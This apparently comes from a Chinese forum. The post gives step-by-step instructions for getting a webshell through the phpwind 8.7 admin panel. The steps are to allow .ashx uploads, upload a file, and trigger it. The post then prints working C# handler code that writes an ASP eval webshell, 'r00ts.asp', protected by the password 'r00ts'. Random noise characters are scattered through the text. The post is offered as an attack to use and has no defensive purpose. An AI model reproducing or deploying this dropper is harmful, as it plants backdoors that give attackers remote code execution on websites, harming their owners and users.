phpwind 8.7 后台拿shell

admin

首先点开后台地图 然后附件设置 添加一个ashx后缀 2000大小
. L; k' x9 u; {  }% {
群里面我以前扔的那个ashx.txt 下载回来改成fuck.ashx
: P4 V5 g! }1 P: |0 A) Z' I
  W2 I1 A: D; V- A) `' d, d0 C发表文章那边有个附件上传 把ashx扔上去 前提是iis 阿帕奇我还真不知道咋整
& h0 i, a6 ^8 t$ y4 j+ Q) `% d6 A
- `; ^0 {* K6 _3 S3 n" n) X然后再打开后台地图 附件优化 滑到下面就看到刚上传的ashx

! ]7 `0 H7 y. s% F* q$ }打开之后空白 会在目录底下生成r00ts.asp 密码r00ts
) b( d, @; j2 F# |+ d
下面是代码:
9 I3 U# }: Q# b' x7 T; p
4 R6 E' v: U& s) D<%@ WebHandler Language="C#"Class="Handler" %>
. x  X, r0 E# q  K4 dusing System;
using System.Web;
using System.IO;
8 z: o, [! e5 B$ X) Hpublic class Handler : IHttpHandler {
public void ProcessRequest (HttpContext context) {
context.Response.ContentType = "text/plain";
4 m, ]  K0 `/ g  PStreamWriter file1= File.CreateText(context.Server.MapPath("r00ts.asp"));
file1.Write("<%eval request(\"r00ts\")%>");
file1.Flush();
/ ?1 }/ H2 O# J% h$ n7 E% dfile1.Close();
/ ?8 R4 {' V* l% H$ @% Z7 K}
public bool IsReusable {
get {
' \9 e" s. ^2 ^8 A: creturn false;
}
}
}
& `0 u. i9 a7 {